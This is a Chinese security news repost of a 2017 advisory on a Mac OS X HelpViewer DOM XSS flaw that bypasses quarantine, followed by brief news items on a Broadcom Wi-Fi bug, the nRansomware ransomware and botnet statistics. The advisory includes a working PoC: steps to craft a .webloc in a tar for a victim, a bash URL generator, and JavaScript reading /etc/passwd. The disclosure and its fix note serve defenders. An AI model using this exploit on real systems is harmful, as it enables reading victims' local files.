漏洞预警Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)

Posted 看雪学院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞预警Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)相关的知识,希望对你有一定的参考价值。


【漏洞预警】Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)


漏洞概要

漏洞名称:Mac OS X本地javascript隔离绕过漏洞(可读取本地文件)

影响产品:Mac OS X

影响版本:10.12, 10.11, 10.10及之前的版本也可能受到该漏洞的影响

影响厂商:apple.com

漏洞类型:DOM Based XSS

风险等级:3 / 5

漏洞发现者:Filippo Cavallarin - wearesegment.com

CVE编号:N/A

通知厂商日期:2017-07-15

厂商修复日期:2017-09-25

漏洞公开日期:2017-09-28


漏洞细节

Mac OS X存在一个漏洞,利用这个漏洞,攻击者可以绕过Apple的隔离机制,不受任何限制执行任意Javascript代码。

Apple隔离机制的原理是在下载的文件上设置一个扩展属性,以便系统在受限环境中打开或者执行这些文件(从下载的归档文件或者图像中提取的文件也适用于这种场景)。举个例子,被隔离的html文件无法加载本地资源。

该漏洞存在于某个html文件中,这个文件是Mac OS X内核的一部分,容易受到基于DOM的XSS攻击影响,最终导致在(未受限)上下文中执行任意Javascript命令。


演示视频

该文件的具体路径为:“/System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html”,文件包含如下代码:


<script type="text/javascript" charset="utf-8">

setBasePathFromString(urlParam("rhtml"));

loadLocStrings();

loadJavascriptLibs();

function init () { /* <-- called by <body onload="init()" */

  [...]

  rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */

  [...]

  self.contentHttpReq.open('GET', rHTMLPath, true);

  self.contentHttpReq.onreadystatechange = function() {

      if (self.contentHttpReq.readyState == 4) {

          loadTutorial(self.contentHttpReq.responseText);

      }

  }

  [...]

}

function loadTutorial(response) {

  var rHTMLPath = urlParam("rhtml");

  // this will create a tutorialData item

  eval(response);

  [...]

}

function loadLocStrings()

{

  var headID = document.getElementsByTagName("head")[0];        

  var rHTMLPath = urlParam("rhtml");

  rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js");

  var newScript = document.createElement('script');

  newScript.type = 'text/javascript';

  newScript.src = rHTMLPath;

  headID.appendChild(newScript);     

}

[...]

</script>

这段代码中包含两段不同的基于DOM的XSS代码。

第一段代码位于loadLocStrings()函数内,该代码创建了一个SCRIPT元素,使用“rhtml”参数作为“src”的属性。

第二段代码位于init()函数内,使用“rhtml”参数发起ajax调用,然后将响应数据直接传递个eval()进行处理。

这样做的结果就是同样的载荷会被执行两次。

攻击者只要提供一个包含恶意数据的uri,就能控制响应数据,进而控制执行语句。

攻击者可以构造一个.webloc文件,诱导受害者打开这个文件,然后就可以在受害者主机上执行高权限javascript命令。

由于.webloc文件同样会使用扩展属性来存储数据,因此攻击者需要将这类文件存放在tar归档文件中再发送给受害者(也可以存储在其他支持扩展属性的文件中)。


PoC

如果要重现这个漏洞,我们需要执行如下操作:

1、创建一个在目标上执行的javascript文件。

2、使用base64对文件内容进行编码。

3、将其编码为“uri组件(uri component)”(例如,我们可以使用encodeURIComponent这个js函数完成这一任务)。

4、利用这段数据构造如下形式的uri:


data:text/plain;base64,<urlencoded base64>

5、在开头添加如下字符串:


file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=

7、将其保存为书签。

8、将该书签拖放到Finder中(此时会创建一个.webloc文件,如果扩展名不是.webloc,需要重命名为正确的扩展名)。

9、创建一个tar归档文件,包含这个.webloc文件。

10、将归档文件发送给受害者。

需要注意的是,受限于rhtmlPlayer.html的处理流程,为了访问本地资源,我们所构造的javascript代码中第一行必须为:document.getElementsByTagName("base")[0].href=""。



#!/bin/bash

BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml="

BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;"

DATAURI="data:text/plain;base64,"

JSFILE=$1

if [ "$JSFILE" = "" ]; then

  echo "usage: $0 "

  exit 1

fi

JS=$BASEJS`cat $JSFILE`"})();"

ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's/\//%2B/g'`

URL="$BASEURL""$DATAURI""$ENCJS"

echo -ne "Paste the url below into Safari's url bar:\n\033[33m$URL\033[0m\n"

使用如下javascript代码,我们可以在受害者主机上显示“/etc/passwd”文件内容:


xhr = new XMLHttpRequest();

xhr.open("GET", "/etc/passwd", true);

xhr.onreadystatechange = function(){

 if (xhr.readyState == 4) {

  alert(xhr.responseText);

 }

};

xhr.send();

需要注意的是,只有Safari才能通过ajax成功加载本地资源(Chrome以及Firefox不行)。对我们来说这并不是个问题,因为在这个漏洞利用过程中,只有Safari会打开.webloc文件。


备注

在本文成稿时,新版的Mac OS X High Sierra中悄悄修复了这个漏洞,因此Apple的更新日志中没有提到这个bug。

Apple没有为这个漏洞分配CVE编号。


解决办法

请更新至Mac OS X High Sierra,或者删除rhtmlPlayer.html以修复这个漏洞。


漏洞状态

来源:安全客


【漏洞预警】Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)

Broadcom Wi-Fi 芯片漏洞可远程接管目标移动设备,Google 安全近日公布 PoC


Google Project Zero 安全研究人员 Gal Beniamini 在 iPhone 和其他使用 Broadcom Wi-Fi 芯片的设备(例如:android 智能手机、Apple TV 与运行 tvOS 的智能电视)上发现一处安全漏洞(CVE-2017-11120),允许攻击者在无需用户交互的情况下通过本地 Wi-Fi 网络远程接管目标设备。

【漏洞预警】Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)

据悉,苹果于 9 月 19 日发布 ios 安全更新后,研究人员在线公布了概念验证(PoC)代码,以证明这个漏洞的风险可能会对 iPhone 用户造成严重影响。目前,研究人员建议用户将 iPhone 升级至最新版本 iOS 11,以防黑客劫持用户设备开展攻击活动。与此同时,苹果公司还针对 tvOS 设备发布修复补丁,而 Google 也于本月初在 Nexus 和 Pixel 设备以及部分 Android 设备上解决了这个问题。

来源:hackernews


【漏洞预警】Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)

网络惊现最奇葩勒索病毒:仅需 10 张裸照即可解锁


通常情况下,勒索病毒会通过非法加密电脑的方式向受害人勒索钱财、比特币,比如前段时间全球爆发的 WannaCry。但并非每一位病毒黑客都那么直接,还有奇葩癖好的,比如——裸照。据外媒 eHackingnews 报道,安全研究团队 MalwareHunterTeam 最近公布一款名为 “nRansomware” 的勒索病毒,并展示了一些中招用户的电脑画面。

据悉,该病毒安装文件名为 nRansom.exe,病毒制作者要求受害者发送 10 张裸照才能解锁。从截图来看,中毒之后电脑屏幕上会出现一大堆托马斯小火车图片,向你骂脏话 “fxxk you”,并且重复播放一首名为《your-mom-gay》的背景音乐。

【漏洞预警】Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)

所谓 Deep web,就是一般搜索引擎无法找到的内容,多为1024订购服务,所以你懂得。目前,尚未有破解办法,对此用户只能通过升级到最新的操作系统版本或者安装防病毒软件保护自身设备。

来源:hackernews


【漏洞预警】Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)

赛门铁克安全报告:2016 年全球逾 670 万设备感染恶意软件


赛门铁克于近期的安全报告中分享了一款最新版本的僵尸网络跟踪器,旨在监控欧洲、中东与非洲等地区受恶意软件感染的情况。调查显示,2016 年全球逾 670 万台设备沦为 “僵尸网络军队”。

赛门铁克表示,感染恶意软件的联网设备已然成为黑客主流工具,因为它们可以被用来启动大规模分布式拒绝服务(DDoS)攻击。相关数据显示,全球逾 670 万台受感染设备中,欧洲占 18.7%。然而,俄罗斯在欧洲所有国家中受感染设备最多(13.6%)。不过,如果根据欧洲地区使用互联网的人口数量计算,俄罗斯的 “ 僵尸密度 ” 相对较低。研究人员表示,这种相对较低的感染率可能在某种程度上受到俄罗斯黑客组织行为守则的影响。此外,英国于 2016 年在欧洲受感染数量排名11,其中超过 1300 万用户成为受害者。与此同时,虽然罗马教廷是欧洲最小的国家,但受感染设备却在全球范围内覆盖密度最广。

图:英国僵尸网络的统计与分析

研究人员 Candid Wueest 表示,受害设备是攻击者在僵尸网络中使用的关键工具。不过,当前网络犯罪分子不仅仅只使用计算机设备开展攻击活动,他们越来越多的开始利用智能手机与物联网(IoT)设备。事实上,IoT 设备可能成为未来全球传播恶意软件的主流载体。

赛门铁克表示,陷入僵尸网络的受害者们在多数情况中都是在不知情下成为犯罪参与者。然而,如果您的设备在运行时开始大幅度减速、显示神秘信息或无缘无故出现崩溃现象时,可能已经被攻击者利用。目前,研究人员建议用户设备时刻保持最新安全更新状态并且不要随意点击任何可疑链接,以防感染恶意软件。

来源:澎湃新闻



戳图片,购2.5折门票哦!

往期热门内容推荐


  • ......

更多详情、资讯,戳左下角“阅读原文”

或者网页浏览 看雪学院 www.kanxue.com

即可查看哦

以上是关于漏洞预警Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)的主要内容,如果未能解决你的问题,请参考以下文章

Bash漏洞威胁超“心脏流血” 影响Linux及Mac OS X

Fastjson反序列化漏洞预警

[漏洞预警]Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞

漏洞预警 | 高危Struts REST插件远程代码执行漏洞(S2-052)

漏洞预警ZABBIX高危漏洞,无需授权登陆即可完成控制

漏洞预警Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞预警通告